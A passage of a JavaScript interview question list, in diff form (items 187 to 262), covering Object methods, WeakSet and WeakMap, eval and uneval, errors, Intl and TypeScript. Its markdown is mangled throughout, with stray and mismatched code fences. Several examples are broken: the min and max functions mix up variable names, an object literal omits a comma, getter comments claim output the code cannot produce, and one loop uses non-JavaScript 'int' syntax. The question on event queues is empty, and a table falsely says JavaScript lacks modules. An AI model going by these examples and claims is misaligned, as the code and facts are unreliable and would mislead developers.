+        2. Bitwise OR ( | )
+        3. Bitwise XOR ( ^ )
+        4. Bitwise NOT ( ~ )
+        5. Left Shift ( << )
+        6. Sign Propagating Right Shift ( >> )
+        7. Zero fill Right Shift ( >>> )
+
+188.    What is a spread operator
+
+             Spread operator allows iterables( arrays / objects / strings ) to be expanded into single arguments/elements. Let's take an example to see this behavior,
+
+             ```js
+
+        //
+        function calculateSum(x, y, z) {
+        return x + y + z;
+        }
+
+             const numbers = [1, 2, 3];
+
+             console.log(calculateSum(...numbers)); // 6
+             ```
+
+189.    How do you determine whether object is frozen or not
+
+             Object.isFrozen() method is used to determine if an object is frozen or not.An object is frozen if all of the below conditions hold true,
+
+             1. If it is not extensible.
+             2. If all of its properties are non-configurable.
+             3. If all its data properties are non-writable.
+                The usage is going to be as follows,
+
+             ```js
+
+        //
+        const object = {
+        property: 'Welcome JS world'
+        };
+        Object.freeze(object);
+        console.log(Object.isFrozen(object));
+
+        ```
+
+        ```
+
+190.    How do you determine two values same or not using object
+
+             The Object.is() method determines whether two values are the same value. For example, the usage with different types of values would be,
+
+             ```js
+
+        //
+        Object.is('hello', 'hello'); // true
+        Object.is(window, window); // true
+        Object.is([], []); // false
+
+        ```
+
+             Two values are the same if one of the following holds:
+
+             1. both undefined
+             2. both null
+             3. both true or both false
+             4. both strings of the same length with the same characters in the same order
+             5. both the same object (means both object have same reference)
+             6. both numbers and
+                both +0
+                both -0
+                both NaN
+                both non-zero and both not NaN and both have the same value.
+
+        ```
+
+191.    What is the purpose of using object is method
+
+        Some of the applications of Object's `is` method are follows,
+
+        1. It is used for comparison of two strings.
+        2. It is used for comparison of two numbers.
+        3. It is used for comparing the polarity of two numbers.
+        4. It is used for comparison of two objects.
+
+192.    How do you copy properties from one object to other
+
+             You can use the Object.assign() method which is used to copy the values and properties from one or more source objects to a target object. It returns the target object which has properties and values copied from the target object. The syntax would be as below,
+
+             ```js
+
+        //
+        Object.assign(target, ...sources);
+
+        ````
+
+             Let's take example with one source and one target object,
+
+             ```js
+
+        //
+        const target = { a: 1, b: 2 };
+        const source = { b: 3, c: 4 };
+
+             const returnedTarget = Object.assign(target, source);
+
+             console.log(target); // { a: 1, b: 3, c: 4 }
+
+             console.log(returnedTarget); // { a: 1, b: 3, c: 4 }
+             ```
+
+             As observed in the above code, there is a common property(`b`) from source to target so it's value has been overwritten.
+
+        ````
+
+193.    What are the applications of assign method
+
+        Below are the some of main applications of Object.assign() method,
+
+        1. It is used for cloning an object.
+        2. It is used to merge objects with the same properties.
+
+194.    What is a proxy object
+
+             The Proxy object is used to define custom behavior for fundamental operations such as property lookup, assignment, enumeration, function invocation, etc. The syntax would be as follows,
+
+             ```js
+
+        //
+        var p = new Proxy(target, handler);
+
+        ````
+
+             Let's take an example of proxy object,
+
+             ```js
+
+        //
+        var handler = {
+        get: function (obj, prop) {
+        return prop in obj ? obj[prop] : 100;
+        }
+        };
+
+             var p = new Proxy({}, handler);
+             p.a = 10;
+             p.b = null;
+
+             console.log(p.a, p.b); // 10, null
+             console.log('c' in p, p.c); // false, 100
+             ```
+
+             In the above code, it uses `get` handler which define the behavior of the proxy when an operation is performed on it
+
+        ````
+
+195.    What is the purpose of seal method
+
+             The **Object.seal()** method is used to seal an object, by preventing new properties from being added to it and marking all existing properties as non-configurable. But values of present properties can still be changed as long as they are writable. Let's see the below example to understand more about seal() method
+
+             ```js
+
+        //
+        const object = {
+        property: 'Welcome JS world'
+        };
+        Object.seal(object);
+        object.property = 'Welcome to object world';
+        console.log(Object.isSealed(object)); // true
+        delete object.property; // You cannot delete when sealed
+        console.log(object.property); //Welcome to object world
+
+        ```
+
+        ```
+
+196.    What are the applications of seal method
+
+        Below are the main applications of Object.seal() method,
+
+        1. It is used for sealing objects and arrays.
+        2. It is used to make an object immutable.
+
+197.    What are the differences between freeze and seal methods
+
+        If an object is frozen using the Object.freeze() method then its properties become immutable and no changes can be made in them whereas if an object is sealed using the Object.seal() method then the changes can be made in the existing properties of the object.
+
+198.    How do you determine if an object is sealed or not
+
+             The Object.isSealed() method is used to determine if an object is sealed or not. An object is sealed if all of the below conditions hold true
+
+             1. If it is not extensible.
+             2. If all of its properties are non-configurable.
+             3. If it is not removable (but not necessarily non-writable).
+                Let's see it in the action
+
+             ```js
+
+        //
+        const object = {
+        property: 'Hello, Good morning'
+        };
+
+             Object.seal(object); // Using seal() method to seal the object
+
+             console.log(Object.isSealed(object)); // checking whether the object is sealed or not
+             ```
+
+199.    How do you get enumerable key and value pairs
+
+             The Object.entries() method is used to return an array of a given object's own enumerable string-keyed property [key, value] pairs, in the same order as that provided by a for...in loop. Let's see the functionality of object.entries() method in an example,
+
+             ```js
+
+        //
+        const object = {
+        a: 'Good morning',
+        b: 100
+        };
+
+             for (let [key, value] of Object.entries(object)) {
+                 console.log(`${key}: ${value}`); // a: 'Good morning'
+                 // b: 100
+             }
+             ```
+
+             **Note:** The order is not guaranteed as object defined.
+
+200.    What is the main difference between Object.values and Object.entries method
+
+             The Object.values() method's behavior is similar to Object.entries() method but it returns an array of values instead [key,value] pairs.
+
+             ```js
+
+        //
+        const object = {
+        a: 'Good morning',
+        b: 100
+        };
+
+             for (let value of Object.values(object)) {
+                 console.log(`${value}`); // 'Good morning'
+                 100;
+             }
+             ```
+
+201.    How can you get the list of keys of any object
+
+             You can use the `Object.keys()` method which is used to return an array of a given object's own property names, in the same order as we get with a normal loop. For example, you can get the keys of a user object,
+
+             ```js
+
+        //
+        const user = {
+        name: 'John',
+        gender: 'male',
+        age: 40
+        };
+
+             console.log(Object.keys(user)); //['name', 'gender', 'age']
+             ```
+
+202.    How do you create an object with prototype
+
+             The Object.create() method is used to create a new object with the specified prototype object and properties. i.e, It uses an existing object as the prototype of the newly created object. It returns a new object with the specified prototype object and properties.
+
+             ```js
+
+        //
+        const user = {
+        name: 'John',
+        printInfo: function () {
+        console.log(`My name is ${this.name}.`);
+        }
+        };
+
+             const admin = Object.create(user);
+
+             admin.name = 'Nick'; // Remember that "name" is a property set on "admin" but not on "user" object
+
+             admin.printInfo(); // My name is Nick
+             ```
+
+203.    What is a WeakSet
+
+             WeakSet is used to store a collection of weakly(weak references) held objects. The syntax would be as follows,
+
+             ```js
+
+        //
+        new WeakSet([iterable]);
+
+        ````
+
+             Let's see the below example to explain it's behavior,
+
+             ```js
+
+        //
+        var ws = new WeakSet();
+        var user = {};
+        ws.add(user);
+        ws.has(user); // true
+        ws.delete(user); // removes user from the set
+        ws.has(user); // false, user has been removed
+        ````
+
+204.    What are the differences between WeakSet and Set
+
+        The main difference is that references to objects in Set are strong while references to objects in WeakSet are weak. i.e, An object in WeakSet can be garbage collected if there is no other reference to it.
+        Other differences are,
+
+        1. Sets can store any value Whereas WeakSets can store only collections of objects
+        2. WeakSet does not have size property unlike Set
+        3. WeakSet does not have methods such as clear, keys, values, entries, forEach.
+        4. WeakSet is not iterable.
+
+205.    List down the collection of methods available on WeakSet
+
+             Below are the list of methods available on WeakSet,
+
+             1. add(value): A new object is appended with the given value to the weakset
+             2. delete(value): Deletes the value from the WeakSet collection.
+             3. has(value): It returns true if the value is present in the WeakSet Collection, otherwise it returns false.
+
+             Let's see the functionality of all the above methods in an example,
+
+             ```js
+
+        //
+        var weakSetObject = new WeakSet();
+        var firstObject = {};
+        var secondObject = {};
+        // add(value)
+        weakSetObject.add(firstObject);
+        weakSetObject.add(secondObject);
+        console.log(weakSetObject.has(firstObject)); //true
+        weakSetObject.delete(secondObject);
+
+        ```
+
+        ```
+
+206.    What is a WeakMap
+
+             The WeakMap object is a collection of key/value pairs in which the keys are weakly referenced. In this case, keys must be objects and the values can be arbitrary values. The syntax is looking like as below,
+
+             ```js
+
+        //
+        new WeakMap([iterable]);
+
+        ````
+
+             Let's see the below example to explain it's behavior,
+
+             ```js
+
+        //
+        var ws = new WeakMap();
+        var user = {};
+        ws.set(user);
+        ws.has(user); // true
+        ws.delete(user); // removes user from the map
+        ws.has(user); // false, user has been removed
+        ````
+
+207.    What are the differences between WeakMap and Map
+
+        The main difference is that references to key objects in Map are strong while references to key objects in WeakMap are weak. i.e, A key object in WeakMap can be garbage collected if there is no other reference to it.
+        Other differences are,
+
+        1. Maps can store any key type Whereas WeakMaps can store only collections of key objects
+        2. WeakMap does not have size property unlike Map
+        3. WeakMap does not have methods such as clear, keys, values, entries, forEach.
+        4. WeakMap is not iterable.
+
+208.    List down the collection of methods available on WeakMap
+
+             Below are the list of methods available on WeakMap,
+
+             1. set(key, value): Sets the value for the key in the WeakMap object. Returns the WeakMap object.
+             2. delete(key): Removes any value associated to the key.
+             3. has(key): Returns a Boolean asserting whether a value has been associated to the key in the WeakMap object or not.
+             4. get(key): Returns the value associated to the key, or undefined if there is none.
+                Let's see the functionality of all the above methods in an example,
+
+             ```js
+
+        //
+        var weakMapObject = new WeakMap();
+        var firstObject = {};
+        var secondObject = {};
+        // set(key, value)
+        weakMapObject.set(firstObject, 'John');
+        weakMapObject.set(secondObject, 100);
+        console.log(weakMapObject.has(firstObject)); //true
+        console.log(weakMapObject.get(firstObject)); // John
+        weakMapObject.delete(secondObject);
+
+        ```
+
+        ```
+
+209.    What is the purpose of uneval
+
+             The uneval() is an inbuilt function which is used to create a string representation of the source code of an Object. It is a top-level function and is not associated with any object. Let's see the below example to know more about it's functionality,
+
+             ```js
+
+        //
+        var a = 1;
+        uneval(a); // returns a String containing 1
+        uneval(function user() {}); // returns "(function user(){})"
+
+        ```
+
+        ```
+
+210.    How do you encode an URL
+
+             The encodeURI() function is used to encode complete URI which has special characters except (, / ? : @ & = + $ #) characters.
+
+             ```js
+
+        //
+        var uri = 'https://mozilla.org/?x=шеллы';
+        var encoded = encodeURI(uri);
+        console.log(encoded); // https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B
+
+        ```
+
+        ```
+
+211.    How do you decode an URL
+
+             The decodeURI() function is used to decode a Uniform Resource Identifier (URI) previously created by encodeURI().
+
+             ```js
+
+        //
+        var uri = 'https://mozilla.org/?x=шеллы';
+        var encoded = encodeURI(uri);
+        console.log(encoded); // https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B
+        try {
+        console.log(decodeURI(encoded)); // "https://mozilla.org/?x=шеллы"
+        } catch (e) {
+        // catches a malformed URI
+        console.error(e);
+        }
+
+        ```
+
+        ```
+
+212.    How do you print the contents of web page
+
+        The window object provided a print() method which is used to print the contents of the current window. It opens a Print dialog box which lets you choose between various printing options. Let's see the usage of print method in an example,
+
+        ```html
+        <input type="button" value="Print" onclick="window.print()" />
+        ```
+
+        **Note:** In most browsers, it will block while the print dialog is open.
+
+213.    What is the difference between uneval and eval
+
+             The `uneval` function returns the source of a given object; whereas the `eval` function does the opposite, by evaluating that source code in a different memory area. Let's see an example to clarify the difference,
+
+             ```js
+
+        //
+        var msg = uneval(function greeting() {
+        return 'Hello, Good morning';
+        });
+        var greeting = eval(msg);
+        greeting(); // returns "Hello, Good morning"
+
+        ```
+
+        ```
+
+214.    What is an anonymous function
+
+             An anonymous function is a function without a name! Anonymous functions are commonly assigned to a variable name or used as a callback function. The syntax would be as below,
+
+             ```js
+
+        //
+        function (optionalParameters) {
+        //do something
+        }
+
+             const myFunction = function(){ //Anonymous function assigned to a variable
+               //do something
+             };
+
+             [1, 2, 3].map(function(element){ //Anonymous function used as a callback function
+               //do something
+             });
+             ```
+
+             Let's see the above anonymous function in an example,
+
+             ```js
+
+        //
+        var x = function (a, b) {
+        return a \* b;
+        };
+        var z = x(5, 10);
+        console.log(z); // 50
+
+        ```
+
+        ```
+
+215.    What is the precedence order between local and global variables
+
+             A local variable takes precedence over a global variable with the same name. Let's see this behavior in an example.
+
+             ```js
+
+        //
+        var msg = 'Good morning';
+        function greeting() {
+        msg = 'Good Evening';
+        console.log(msg);
+        }
+        greeting();
+
+        ```
+
+        ```
+
+216.    What are javascript accessors
+
+             ECMAScript 5 introduced javascript object accessors or computed properties through getters and setters. Getters uses the `get` keyword whereas Setters uses the `set` keyword.
+
+             ```js
+
+        //
+        var user = {
+        firstName: "John",
+        lastName : "Abraham",
+        language : "en",
+        get lang() {
+        return this.language;
+        }
+        set lang(lang) {
+        this.language = lang;
+        }
+        };
+        console.log(user.lang); // getter access lang as en
+        user.lang = 'fr';
+        console.log(user.lang); // setter used to set lang as fr
+
+        ```
+
+        ```
+
+217.    How do you define property on Object constructor
+
+             The Object.defineProperty() static method is used to define a new property directly on an object, or modify an existing property on an object, and returns the object. Let's see an example to know how to define property,
+
+             ```js
+
+        //
+        const newObject = {};
+
+             Object.defineProperty(newObject, 'newProperty', {
+                 value: 100,
+                 writable: false
+             });
+
+             console.log(newObject.newProperty); // 100
+
+             newObject.newProperty = 200; // It throws an error in strict mode due to writable setting
+             ```
+
+218.    What is the difference between get and defineProperty
+
+        Both have similar results until unless you use classes. If you use `get` the property will be defined on the prototype of the object whereas using `Object.defineProperty()` the property will be defined on the instance it is applied to.
+
+219.    What are the advantages of Getters and Setters
+
+        Below are the list of benefits of Getters and Setters,
+
+        1. They provide simpler syntax
+        2. They are used for defining computed properties, or accessors in JS.
+        3. Useful to provide equivalence relation between properties and methods
+        4. They can provide better data quality
+        5. Useful for doing things behind the scenes with the encapsulated logic.
+
+220.    Can I add getters and setters using defineProperty method
+
+             Yes, You can use the `Object.defineProperty()` method to add Getters and Setters. For example, the below counter object uses increment, decrement, add and subtract properties,
+
+             ```js
+
+        //
+        var obj = { counter: 0 };
+
+             // Define getters
+             Object.defineProperty(obj, 'increment', {
+                 get: function () {
+                     this.counter++;
+                 }
+             });
+             Object.defineProperty(obj, 'decrement', {
+                 get: function () {
+                     this.counter--;
+                 }
+             });
+
+             // Define setters
+             Object.defineProperty(obj, 'add', {
+                 set: function (value) {
+                     this.counter += value;
+                 }
+             });
+             Object.defineProperty(obj, 'subtract', {
+                 set: function (value) {
+                     this.counter -= value;
+                 }
+             });
+
+             obj.add = 10;
+             obj.subtract = 5;
+             console.log(obj.increment); //6
+             console.log(obj.decrement); //5
+             ```
+
+221.    What is the purpose of switch-case
+
+             The switch case statement in JavaScript is used for decision making purposes. In a few cases, using the switch case statement is going to be more convenient than if-else statements. The syntax would be as below,
+
+             ```js
+
+        //
+        switch (expression)
+        {
+        case value1:
+        statement1;
+        break;
+        case value2:
+        statement2;
+        break;
+        .
+        .
+        case valueN:
+        statementN;
+        break;
+        default:
+        statementDefault;
+        }
+
+        ```
+
+             The above multi-way branch statement provides an easy way to dispatch execution to different parts of code based on the value of the expression.
+
+        ```
+
+222.    What are the conventions to be followed for the usage of switch case
+
+        Below are the list of conventions should be taken care,
+
+        1. The expression can be of type either number or string.
+        2. Duplicate values are not allowed for the expression.
+        3. The default statement is optional. If the expression passed to switch does not match with any case value then the statement within default case will be executed.
+        4. The break statement is used inside the switch to terminate a statement sequence.
+        5. The break statement is optional. But if it is omitted, the execution will continue on into the next case.
+
+223.    What are primitive data types
+
+        A primitive data type is data that has a primitive value (which has no properties or methods). There are 7 types of primitive data types.
+
+        1. string
+        2. number
+        3. boolean
+        4. null
+        5. undefined
+        6. bigint
+        7. symbol
+
+224.    What are the different ways to access object properties
+
+             There are 3 possible ways for accessing the property of an object.
+
+             1. **Dot notation:** It uses dot for accessing the properties
+
+             ```js
+
+        //
+        objectName.property;
+
+        ````
+
+             1. **Square brackets notation:** It uses square brackets for property access
+
+             ```js
+
+        //
+        objectName['property'];
+        ````
+
+             1. **Expression notation:** It uses expression in the square brackets
+
+             ```js
+
+        //
+        objectName[expression];
+
+        ```
+
+        ```
+
+225.    What are the function parameter rules
+
+             JavaScript functions follow below rules for parameters,
+
+             1. The function definitions do not specify data types for parameters.
+             2. Do not perform type checking on the passed arguments.
+             3. Do not check the number of arguments received.
+                i.e, The below function follows the above rules,
+
+             ```js
+
+        //
+        function functionName(parameter1, parameter2, parameter3) {
+        console.log(parameter1); // 1
+        }
+        functionName(1);
+
+        ```
+
+        ```
+
+226.    What is an error object
+
+             An error object is a built in error object that provides error information when an error occurs. It has two properties: name and message. For example, the below function logs error details,
+
+             ```js
+
+        //
+        try {
+        greeting('Welcome');
+        } catch (err) {
+        console.log(err.name + '<br>' + err.message);
+        }
+
+        ```
+
+        ```
+
+227.    When you get a syntax error
+
+             A SyntaxError is thrown if you try to evaluate code with a syntax error. For example, the below missing quote for the function parameter throws a syntax error
+
+             ```js
+
+        //
+        try {
+        eval("greeting('welcome)"); // Missing ' will produce an error
+        } catch (err) {
+        console.log(err.name);
+        }
+
+        ```
+
+        ```
+
+228.    What are the different error names from error object
+
+        There are 6 different types of error names returned from error object,
+        | Error Name | Description |
+        |---- | ---------
+        | EvalError | An error has occurred in the eval() function |
+        | RangeError | An error has occurred with a number "out of range" |
+        | ReferenceError | An error due to an illegal reference|
+        | SyntaxError | An error due to a syntax error|
+        | TypeError | An error due to a type error |
+        | URIError | An error due to encodeURI() |
+
+229.    What are the various statements in error handling
+
+        Below are the list of statements used in an error handling,
+
+        1. **try:** This statement is used to test a block of code for errors
+        2. **catch:** This statement is used to handle the error
+        3. **throw:** This statement is used to create custom errors.
+        4. **finally:** This statement is used to execute code after try and catch regardless of the result.
+
+230.    What are the two types of loops in javascript
+
+        1. **Entry Controlled loops:** In this kind of loop type, the test condition is tested before entering the loop body. For example, For Loop and While Loop comes under this category.
+        2. **Exit Controlled Loops:** In this kind of loop type, the test condition is tested or evaluated at the end of the loop body. i.e, the loop body will execute at least once irrespective of test condition true or false. For example, do-while loop comes under this category.
+
+231.    What is nodejs
+
+        Node.js is a server-side platform built on Chrome's JavaScript runtime for easily building fast and scalable network applications. It is an event-based, non-blocking, asynchronous I/O runtime that uses Google's V8 JavaScript engine and libuv library.
+
+232.    What is an Intl object
+
+        The Intl object is the namespace for the ECMAScript Internationalization API, which provides language sensitive string comparison, number formatting, and date and time formatting. It provides access to several constructors and language sensitive functions.
+
+233.    How do you perform language specific date and time formatting
+
+             You can use the `Intl.DateTimeFormat` object which is a constructor for objects that enable language-sensitive date and time formatting. Let's see this behavior with an example,
+
+             ```js
+
+        //
+        var date = new Date(Date.UTC(2019, 07, 07, 3, 0, 0));
+        console.log(new Intl.DateTimeFormat('en-GB').format(date)); // 07/08/2019
+        console.log(new Intl.DateTimeFormat('en-AU').format(date)); // 07/08/2019
+
+        ```
+
+        ```
+
+234.    What is an Iterator
+
+        An iterator is an object which defines a sequence and a return value upon its termination. It implements the Iterator protocol with a `next()` method which returns an object with two properties: `value` (the next value in the sequence) and `done` (which is true if the last value in the sequence has been consumed).
+
+235.    How does synchronous iteration works
+
+             Synchronous iteration was introduced in ES6 and it works with below set of components,
+
+             **Iterable:** It is an object which can be iterated over via a method whose key is Symbol.iterator.
+             **Iterator:** It is an object returned by invoking `[Symbol.iterator]()` on an iterable. This iterator object wraps each iterated element in an object and returns it via `next()` method one by one.
+             **IteratorResult:** It is an object returned by `next()` method. The object contains two properties; the `value` property contains an iterated element and the `done` property determines whether the element is the last element or not.
+
+             Let's demonstrate synchronous iteration with an array as below,
+
+             ```js
+
+        //
+        const iterable = ['one', 'two', 'three'];
+        const iterator = iterable[Symbol.iterator]();
+        console.log(iterator.next()); // { value: 'one', done: false }
+        console.log(iterator.next()); // { value: 'two', done: false }
+        console.log(iterator.next()); // { value: 'three', done: false }
+        console.log(iterator.next()); // { value: 'undefined, done: true }
+
+        ```
+
+        ```
+
+236.    What is an event loop
+
+        The Event Loop is a queue of callback functions. When an async function executes, the callback function is pushed into the queue. The JavaScript engine doesn't start processing the event loop until the async function has finished executing the code.
+        **Note:** It allows Node.js to perform non-blocking I/O operations even though JavaScript is single-threaded.
+
+237.    What is call stack
+
+             Call Stack is a data structure for javascript interpreters to keep track of function calls in the program. It has two major actions,
+
+             1. Whenever you call a function for its execution, you are pushing it to the stack.
+             2. Whenever the execution is completed, the function is popped out of the stack.
+
+             Let's take an example and it's state representation in a diagram format
+
+             ```js
+
+        //
+        function hungry() {
+        eatFruits();
+        }
+        function eatFruits() {
+        return "I'm eating fruits";
+        }
+
+             // Invoke the `hungry` function
+             hungry();
+             ```
+
+             The above code processed in a call stack as below,
+
+             1. Add the `hungry()` function to the call stack list and execute the code.
+             2. Add the `eatFruits()` function to the call stack list and execute the code.
+             3. Delete the `eatFruits()` function from our call stack list.
+             4. Delete the `hungry()` function from the call stack list since there are no items anymore.
+
+             ![Screenshot](images/call-stack.png)
+
+238.    What is an event queue
+
+239.    What is a decorator
+
+             A decorator is an expression that evaluates to a function and that takes the target, name, and decorator descriptor as arguments. Also, it optionally returns a decorator descriptor to install on the target object. Let's define admin decorator for user class at design time,
+
+             ```js
+
+        //
+        function admin(isAdmin) {
+        return function(target) {
+        target.isAdmin = isAdmin;
+        }
+        }
+
+             @admin(true)
+             class User() {
+             }
+             console.log(User.isAdmin); //true
+
+              @admin(false)
+              class User() {
+              }
+              console.log(User.isAdmin); //false
+             ```
+
+240.    What are the properties of Intl object
+
+        Below are the list of properties available on Intl object,
+
+        1. **Collator:** These are the objects that enable language-sensitive string comparison.
+        2. **DateTimeFormat:** These are the objects that enable language-sensitive date and time formatting.
+        3. **ListFormat:** These are the objects that enable language-sensitive list formatting.
+        4. **NumberFormat:** Objects that enable language-sensitive number formatting.
+        5. **PluralRules:** Objects that enable plural-sensitive formatting and language-specific rules for plurals.
+        6. **RelativeTimeFormat:** Objects that enable language-sensitive relative time formatting.
+
+241.    What is an Unary operator
+
+             The unary(+) operator is used to convert a variable to a number.If the variable cannot be converted, it will still become a number but with the value NaN. Let's see this behavior in an action.
+
+             ```js
+
+        //
+        var x = '100';
+        var y = +x;
+        console.log(typeof x, typeof y); // string, number
+
+             var a = 'Hello';
+             var b = +a;
+             console.log(typeof a, typeof b, b); // string, number, NaN
+             ```
+
+242.    How do you sort elements in an array
+
+             The sort() method is used to sort the elements of an array in place and returns the sorted array. The example usage would be as below,
+
+             ```js
+
+        //
+        var months = ['Aug', 'Sep', 'Jan', 'June'];
+        months.sort();
+        console.log(months); // ["Aug", "Jan", "June", "Sep"]
+
+        ```
+
+        ```
+
+243.    What is the purpose of compareFunction while sorting arrays
+
+             The compareFunction is used to define the sort order. If omitted, the array elements are converted to strings, then sorted according to each character's Unicode code point value. Let's take an example to see the usage of compareFunction,
+
+             ```js
+
+        //
+        let numbers = [1, 2, 5, 3, 4];
+        numbers.sort((a, b) => b - a);
+        console.log(numbers); // [5, 4, 3, 2, 1]
+
+        ```
+
+        ```
+
+244.    How do you reversing an array
+
+             You can use the reverse() method to reverse the elements in an array. This method is useful to sort an array in descending order. Let's see the usage of reverse() method in an example,
+
+             ```js
+
+        //
+        let numbers = [1, 2, 5, 3, 4];
+        numbers.sort((a, b) => b - a);
+        numbers.reverse();
+        console.log(numbers); // [1, 2, 3, 4 ,5]
+
+        ```
+
+        ```
+
+245.    How do you find min and max value in an array
+
+             You can use `Math.min` and `Math.max` methods on array variables to find the minimum and maximum elements within an array. Let's create two functions to find the min and max value with in an array,
+
+             ```js
+
+        //
+        var marks = [50, 20, 70, 60, 45, 30];
+        function findMin(arr) {
+        return Math.min.apply(null, arr);
+        }
+        function findMax(arr) {
+        return Math.max.apply(null, arr);
+        }
+
+             console.log(findMin(marks));
+             console.log(findMax(marks));
+             ```
+
+246.    How do you find min and max values without Math functions
+
+             You can write functions which loop through an array comparing each value with the lowest value or highest value to find the min and max values. Let's create those functions to find min and max values,
+
+             ```js
+
+        //
+        var marks = [50, 20, 70, 60, 45, 30];
+        function findMin(arr) {
+        var length = arr.length;
+        var min = Infinity;
+        while (length--) {
+        if (arr[length] < min) {
+        min = arr[len];
+        }
+        }
+        return min;
+        }
+
+             function findMax(arr) {
+                 var length = arr.length;
+                 var max = -Infinity;
+                 while (len--) {
+                     if (arr[length] > max) {
+                         max = arr[length];
+                     }
+                 }
+                 return max;
+             }
+
+             console.log(findMin(marks));
+             console.log(findMax(marks));
+             ```
+
+247.    What is an empty statement and purpose of it
+
+             The empty statement is a semicolon (;) indicating that no statement will be executed, even if JavaScript syntax requires one. Since there is no action with an empty statement you might think that it's usage is quite less, but the empty statement is occasionally useful when you want to create a loop that has an empty body. For example, you can initialize an array with zero values as below,
+
+             ```js
+
+        //
+        // Initialize an array a
+        for(int i=0; i < a.length; a[i++] = 0) ;
+
+        ```
+
+        ```
+
+248.    How do you get metadata of a module
+
+             You can use the `import.meta` object which is a meta-property exposing context-specific meta data to a JavaScript module. It contains information about the current module, such as the module's URL. In browsers, you might get different meta data than NodeJS.
+
+             ```js
+
+        //
+        <script type="module" src="welcome-module.js">
+        </script>;
+
+        console.log(import.meta); // { url: "file:///home/user/welcome-module.js" }
+
+        ```
+
+        ```
+
+249.    What is a comma operator
+
+             The comma operator is used to evaluate each of its operands from left to right and returns the value of the last operand. This is totally different from comma usage within arrays, objects, and function arguments and parameters. For example, the usage for numeric expressions would be as below,
+
+             ```js
+
+        //
+        var x = 1;
+        x = (x++, x);
+
+             console.log(x); // 2
+             ```
+
+250.    What is the advantage of a comma operator
+
+             It is normally used to include multiple expressions in a location that requires a single expression. One of the common usages of this comma operator is to supply multiple parameters in a `for` loop. For example, the below for loop uses multiple expressions in a single location using comma operator,
+
+             ```js
+
+        //
+        for (var a = 0, b =10; a <= 10; a++, b--)
+
+        ````
+
+             You can also use the comma operator in a return statement where it processes before returning.
+
+             ```js
+
+        //
+        function myFunction() {
+        var a = 1;
+        return (a += 10), a; // 11
+        }
+        ````
+
+251.    What is typescript
+
+        TypeScript is a typed superset of JavaScript created by Microsoft that adds optional types, classes, async/await, and many other features, and compiles to plain JavaScript. Angular built entirely in TypeScript and used as a primary language. You can install it globally as
+
+        ```console
+        npm install -g typescript
+        ```
+
+        Let's see a simple example of TypeScript usage,
+
+        ```typescript
+        function greeting(name: string): string {
+            return 'Hello, ' + name;
+        }
+
+        let user = 'Sudheer';
+
+        console.log(greeting(user));
+        ```
+
+        The greeting method allows only string type as argument.
+
+252.    What are the differences between javascript and typescript
+
+        Below are the list of differences between javascript and typescript,
+
+        | feature             | typescript                            | javascript                                      |
+        | ------------------- | ------------------------------------- | ----------------------------------------------- |
+        | Language paradigm   | Object oriented programming language  | Scripting language                              |
+        | Typing support      | Supports static typing                | It has dynamic typing                           |
+        | Modules             | Supported                             | Not supported                                   |
+        | Interface           | It has interfaces concept             | Doesn't support interfaces                      |
+        | Optional parameters | Functions support optional parameters | No support of optional parameters for functions |
+
+253.    What are the advantages of typescript over javascript
+
+        Below are some of the advantages of typescript over javascript,
+
+        1. TypeScript is able to find compile time errors at the development time only and it makes sures less runtime errors. Whereas javascript is an interpreted language.
+        2. TypeScript is strongly-typed or supports static typing which allows for checking type correctness at compile time. This is not available in javascript.
+        3. TypeScript compiler can compile the .ts files into ES3,ES4 and ES5 unlike ES6 features of javascript which may not be supported in some browsers.
+
+254.    What is an object initializer
+
+             An object initializer is an expression that describes the initialization of an Object. The syntax for this expression is represented as a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}). This is also known as literal notation. It is one of the ways to create an object.
+
+             ```js
+
+        //
+        var initObject = { a: 'John', b: 50, c: {} };
+
+             console.log(initObject.a); // John
+             ```
+
+255.    What is a constructor method
+
+             The constructor method is a special method for creating and initializing an object created within a class. If you do not specify a constructor method, a default constructor is used. The example usage of constructor would be as below,
+
+             ```js
+
+        //
+        class Employee {
+        constructor() {
+        this.name = 'John';
+        }
+        }
+
+             var employeeObject = new Employee();
+
+             console.log(employeeObject.name); // John
+             ```
+
+256.    What happens if you write constructor more than once in a class
+
+             The "constructor" in a class is a special method and it should be defined only once in a class. i.e, If you write a constructor method more than once in a class it will throw a `SyntaxError` error.
+
+             ```js
+
+        //
+        class Employee {
+        constructor() {
+        this.name = "John";
+        }
+        constructor() { // Uncaught SyntaxError: A class may only have one constructor
+        this.age = 30;
+        }
+        }
+
+              var employeeObject = new Employee();
+
+              console.log(employeeObject.name);
+             ```
+
+257.    How do you call the constructor of a parent class
+
+             You can use the `super` keyword to call the constructor of a parent class. Remember that `super()` must be called before using 'this' reference. Otherwise it will cause a reference error. Let's the usage of it,
+
+             ```js
+
+        //
+        class Square extends Rectangle {
+        constructor(length) {
+        super(length, length);
+        this.name = 'Square';
+        }
+
+                 get area() {
+                     return this.width * this.height;
+                 }
+
+                 set area(value) {
+                     this.area = value;
+                 }
+             }
+             ```
+
+258.    How do you get the prototype of an object
+
+             You can use the `Object.getPrototypeOf(obj)` method to return the prototype of the specified object. i.e. The value of the internal `prototype` property. If there are no inherited properties then `null` value is returned.
+
+             ```js
+
+        //
+        const newPrototype = {};
+        const newObject = Object.create(newPrototype);
+
+             console.log(Object.getPrototypeOf(newObject) === newPrototype); // true
+             ```
+
+259.    What happens If I pass string type for getPrototype method
+
+             In ES5, it will throw a TypeError exception if the obj parameter isn't an object. Whereas in ES2015, the parameter will be coerced to an `Object`.
+
+             ```js
+
+        //
+        // ES5
+        Object.getPrototypeOf('James'); // TypeError: "James" is not an object
+        // ES2015
+        Object.getPrototypeOf('James'); // String.prototype
+
+        ```
+
+        ```
+
+260.    How do you set prototype of one object to another
+
+             You can use the `Object.setPrototypeOf()` method that sets the prototype (i.e., the internal `Prototype` property) of a specified object to another object or null. For example, if you want to set prototype of a square object to rectangle object would be as follows,
+
+             ```js
+
+        //
+        Object.setPrototypeOf(Square.prototype, Rectangle.prototype);
+        Object.setPrototypeOf({}, null);
+
+        ```
+
+        ```
+
+261.    How do you check whether an object can be extendable or not
+
+             The `Object.isExtensible()` method is used to determine if an object is extendable or not. i.e, Whether it can have new properties added to it or not.
+
+             ```js
+
+        //
+        const newObject = {};
+        console.log(Object.isExtensible(newObject)); //true
+
+        ```
+
+             **Note:** By default, all the objects are extendable. i.e, The new properties can be added or modified.
+
+        ```
+
+262.    How do you prevent an object to extend
+
